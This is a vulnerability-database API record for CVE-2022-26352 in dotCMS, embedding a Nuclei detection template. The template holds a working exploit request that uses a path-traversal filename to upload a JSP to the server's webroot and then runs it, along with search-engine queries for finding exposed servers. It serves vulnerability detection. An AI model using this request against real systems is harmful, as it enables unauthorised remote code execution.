{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-26352/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-26352/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-26352/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-26352/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-26352/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-26352"},"sightings":{"href":"/api/v1/sightings/cve-2022-26352"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-26352.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-26352\n\ninfo:\n  name: DotCMS - Arbitrary File Upload\n  author: h1ei1\n  severity: critical\n  description: DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions.\n  impact: |\n    Successful exploitation of this vulnerability can lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.\n  remediation: |\n    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.\n  reference:\n    - https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/\n    - https://github.com/h1ei1/POC/tree/main/CVE-2022-26352\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26352\n    - http://packetstormsecurity.com/files/167365/dotCMS-Shell-Upload.html\n    - https://groups.google.com/g/dotcms\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-26352\n    cwe-id: CWE-22\n    epss-score: 0.91553\n    epss-percentile: 0.99809\n    cpe: cpe:2.3:a:dotcms:dotcms:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: dotcms\n    product: dotcms\n    shodan-query: http.title:\"dotcms\"\n    fofa-query: title=\"dotcms\"\n    google-query: intitle:\"dotcms\"\n  tags: cve,cve2022,packetstorm,rce,dotcms,kev,fileupload,intrusive,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /api/content/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3\n\n        --------------------------aadc326f7ae3eac3\n        Content-Disposition: form-data; name=\"name\"; filename=\"../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/{{randstr}}.jsp\"\n        Content-Type: text/plain\n\n        <%\n        out.println(\"CVE-2022-26352\");\n        %>\n        --------------------------aadc326f7ae3eac3--\n      - |\n        GET /{{randstr}}.jsp HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body_2, \"CVE-2022-26352\")'\n          - 'status_code_2 == 200'\n        condition: and\n# digest: 4b0a00483046022100bbf2ca79ba6d3ce28604c6e6b665ece6b578a0c16a4d22973a6631c68a70b9ed022100ec7c298a9ba02ff072d6c2ce0f4c574f301266073b7b56044a36a2ac98efedc5:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-26352"}